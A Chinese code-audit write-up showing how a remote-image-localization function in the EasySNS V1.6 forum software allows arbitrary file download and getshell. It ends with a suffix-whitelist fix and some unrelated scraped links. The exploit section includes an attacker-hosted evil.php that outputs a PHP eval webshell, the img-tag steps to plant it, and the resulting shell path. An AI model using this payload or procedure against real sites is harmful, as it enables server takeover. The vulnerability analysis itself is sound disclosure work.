0x00 环境准备

EasySNS官网:http://www.imzaker.com

网站源码版本:EasySNS极简社区V1.60

程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html

默认后台地址:http://127.0.0.1/admin.php/Login/login.html

默认账号密码:admin/admin

测试网站首页:

0x01 代码分析

​ 1、漏洞文件位置:  /app/common.func.php :

在公共调用函数里面,我们注意到getImageToLocal函数,通过正则从img标签里面获取链接,然后判断是否是本站地址,调用了getImage函数实现下载远程图片保存到本地,我们跟进同文件下的getImage函数进行查看:

在getImage函数中,并未对下载的文件名进行判断,获取文件后缀拼接到文件名,下载到网站目录中,那么这个函数是很危险的,很可能导致程序在实现上存在任意文件下载漏洞,下载远程文件到网站目录下。

​ 2、全局搜索getImageToLocal函数,找到调用函数的地方:

漏洞文件:/app/index/controller/Topic.php,在topicadd函数中,webconfig('bd_image')==1即当程序开启远程图片本地化的时候,调用了getImageToLocal函数,我们可以根据条件构造Payload来进行漏洞利用,攻击者可指定第三方url下载恶意脚本到网站目录,进一步触发恶意代码,控制网站服务器。

0x02 漏洞利用

一、利用条件

1、登录网站后台—系统管理—配置管理—开启远程图片本地化(默认安装情况下处于关闭状态):

2、在第三方网站放置一个evil.php作为代码源,如http://192.168.8.131/evil.php

evil.php文件内容:

`<?php

echo "<?php ";

echo "eval(file_get_contents('php://input'));";

echo "?>";

?> `

二、漏洞利用

1、注册一个test1用户,选择发布帖子,在html代码编辑状态下插入img标签

2、点击发布后,查看我的帖子,获取上传后的文件名。

3、文件路径格式为:/uploads/picture/cache/'.​filename

查看个人主页获取uid值,

4、需要把uid加上拼接为完整路径,最终获得文件路径,成功触发恶意代码,获取网站服务器权限。

http://127.0.0.1/uploads/picture/cache/2/2_VHZHOopR1520094924.php

0x03 修复建议

​ 白名单限制远程图片本地化下载的文件名后缀,只允许下载jpg、png等格式。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell的更多相关文章

  1. 火车头dede采集接口,图片加水印,远程图片本地化,远程无后缀的无图片本地化

    <?php /* [LocoySpider] (C)2005-2010 Lewell Inc. 火车采集器 DedeCMS 5.7 UTF8 文章发布接口 Update content: 图片加 ...

  2. php 远程图片本地化

    /** * 把新浪的远程图片下载到自己服务器上 * * @access public * @param goods_desc $goods_desc 要处理的内容 * @return mix 如果成功 ...

  3. ecshop 远程图片本地化

    define('IN_ECS', true); require(dirname(__FILE__) . '/includes/init.php'); $smarty->assign('siteD ...

  4. php开发中将远程图片本地化的方法

    检查文本内容中的远程图片,下载远程图片到本地的方法示例. /** * 下载远程图片到本地 * * @param string $txt 用户输入的文字,可能包含有图片的url * @param str ...

  5. ecshop_商品描述远程图片自动本地化插件

    解压缩文件,覆盖 ecshop 的 \includes\fckeditor文件夹. 这样在后台添加商品的商品详细描述,编辑器最后一个按钮就是自动下载 远程图片到你的网站空间,这样可防止对方网站图片失效 ...

  6. 代码审计就该这么来3 beescms getshell

    本文作者:i春秋作家——索马里的海贼 前言上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作, ...

  7. Android远程图片获取和本地缓存

    对于客户端——服务器端应用,从远程获取图片算是经常要用的一个功能,而图片资源往往会消耗比较大的流量,对 应用来说,如果处理不好这个问题,那会让用户很崩溃,不知不觉手机流量就用完了,等用户发现是你的应用 ...

  8. AsyncTask--远程图片获取与本地缓存

    对于客户端——服务器端应用,从远程获取图片算是经常要用的一个功能,而图片资源往往会消耗比较大的流量,对应用来说,如果处理不好这个问题,那会让用户很崩溃,不知不觉手机流量就用完了,等用户发现是你的应用消 ...

  9. PHP下载/采集远程图片到本地

    /** * 下载远程图片到本地 * * @param string $url 远程文件地址 * @param string $filenNme 保存后的文件名(为空时则为随机生成的文件名,否则为原文件 ...

随机推荐

  1. js关于函数和对象的概念

    <script type="text/javascript"> function func1(fn){ if(typeof(fn)=="function&qu ...

  2. Android NDK: Application targets deprecated ABI(s): armeabi Open File

    Error:(81) Android NDK: Application targets deprecated ABI(s): armeabi Error:(82) Android NDK: Suppo ...

  3. 【转】接口测试Session/Cookie笔记(二)

    Windows系统运行计算器命令:calc python显示上一步操作命令:Alt+p python显示上一步操作结果:_(英文下划线) Session是存放在服务器的键值对 ,用于保存客户端的某个特 ...

  4. 慎用 apt-get autoremove !

    apt-get 提供了一个用于下载和安装软件包的简易命令行界面. 卸载软件包主要有这3个命令 remove – 卸载软件包 autoremove – 卸载所有自动安装且不再使用的软件包 purge – ...

  5. github开源库(二)

    21.drag-sort-listview DragSortListView(DSLV)是Android ListView的一个扩展,支持拖拽排序和左右滑动删除功能.重写了TouchIntercept ...

  6. ACTIVE NEURAL LOCALIZATION

    用贝叶斯滤波器定义状态,用rl帮助定位. 这个方法需要对地图和角度进行离散化,当地图很大,角度较精细时,输出会很大,所以不太可能用到大地图,高精度角度的任务上.

  7. 【转】【WPF】WPF - MVVM - 如何将ComboBox的Selectchange事件binding到ViewModel

    将所有的事件,属性,都映射到ViewModel中.好处多多,以后开发尽量用这种模式. 解决方法: 使用System.Windows.Interactivity.dll,添加该dll到项目引用 xmln ...

  8. Spring Boot Controller相应JSP页面 错误whitelabel error page

    在学习SpringBoot显示JSP页面的时候出现了错误,Controller可以正常调用,但是JSP页面就是不能正常显示. whitelabel error page 解决:注释掉scope < ...

  9. CI框架 -- 配置文件config.php

    application/config/config.php 文件 $config['base_url'] = "http://www.baidu.com/". 您网站的网址,Cod ...

  10. Linux系统源码安装软件过程中configure选项-prefix的作用

    在linux和unix环境中,源码安装是最常用的软件安装方式,一些软件出了提供源码外,也提供各种发行版的二进制安装包(如基于redhat包管理工具的rpm包),但强烈建议使用源码安装方式. 在linu ...